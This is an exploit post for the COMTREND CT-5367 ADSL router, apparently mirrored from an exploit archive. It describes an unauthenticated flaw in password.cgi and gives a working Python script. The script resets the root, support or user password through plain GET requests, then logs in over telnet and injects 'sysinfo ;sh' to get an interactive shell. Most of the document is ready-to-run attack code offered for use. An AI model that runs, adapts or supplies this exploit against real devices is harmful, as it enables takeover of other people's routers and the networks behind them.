COMTREND ADSL Router CT-5367 - Remote Code Execution Exploit

# Exploit Title: Globalnet COMTREND ADSL Router CT-5367 Remote Code Execute
# Date: 11-12-2017
# Exploit Author: TnMch
# Software Link : null
# Type          : HardWare
# Risk of use   : High
# Type to use   : Remote
 
  
1. Description
    
Any user can edit all users password and execute remote code directly without have access 
    
2. Proof of Concept
  
request this page before login to ADSL panel : 192.168.1.1/password.cgi/password.cgi
  
<form>
<table border="0" cellpadding="0" cellspacing="0">
   <tr>
      <td width="120">Username:</td>
      <td><select name='userName' size="1">
            <option value="0">
            <option value="1">root <!-- admin -->
            <option value="2">support <!-- support -->
            <option value="3">user <!-- user -->
         </select></td>
   </tr>
   <tr>
      <td>Old Password:</td>
      <td><input name='pwdOld' type="password" size="20" maxlength="16"></td>
   </tr>
   <tr>
      <td>New Password:</td>
      <td><input name='pwdNew' type="password" size="20" maxlength="16"></td>
   </tr>
   <tr>
      <td>Confirm Password:</td>
      <td><input name='pwdCfm' type='password' size="20" maxlength="16"></td>
   </tr>
</table>
<br>
<center><input type='button' onClick='btnApply()' value='Save/Apply'></center>
</form>
  
    
3 .exploit 
 
 
#!/usr/bin/env python
import platform
import requests
import base64
 
url = "http://192.168.1.1/"
 
''' first check default gateway '''
 
r = requests.get(url,allow_redirects=True)
resp = r.content
 
'''Check resp'''
 
if 'Authorization' not in resp:
    exit("[-]Invalid host !! ")
 
''' Change password '''
 
again = True
 
while again:
    print "Which User"
    print "(root | support | user )"
    user = raw_input('user : ').split()[0]
 
    if user not in ("root","support","user"):
        exit("[-] No user with this name !! ")
 
    print "[+] Update password ",user
    password = raw_input('new password : ').split()[0]
    print "[+] Update new password ['",password,"']"
 
    if user == "root":
       url +="password.cgi?sysPassword="+password
    if user == "support":
       url +="password.cgi?sptPassword="+password
    if user == "user":
       url +="password.cgi?usrPassword="+password
 
    pass_b64 = password.encode('base64').split()[0]
 
    r2 = requests.get(url,allow_redirects=True)
    resp2 = r2.content
 
    ''' Check update '''
 
    if pass_b64 in resp2:
        print "[+] Password for user : ",user," updated!"
        print "Happy hacking :D, enjoy"
    else:
        print "[-] Something Wrong , please check again! "
     
    y_n = raw_input('Do you want again? :D (y/n) : ').split()[0]
     
    if 'n'!= y_n and 'y' != y_n:
        exit('bad input :(')
    if y_n == 'n':
        print "Go Go Go :D ,No Time for you Mr.Robot"
        shell_yn=  raw_input("Do you want shell? (y/n) :D : ").split()[0]
        if shell_yn !='n':
            sys = platform.system()
            if sys =="Windows":
                exit("Sorry only on Linux or Mac Os")
            from pwn import *
            target = "192.168.1.1"
            port = 23
            p = remote(target,port)
            p.recvuntil("Login:")
            p.sendline(user)
            p.recvuntil("Password:")
            p.sendline(password)
            p.sendline("sysinfo ;sh")
            p.interactive()
        again = False

#  0day.today [2018-04-11]  #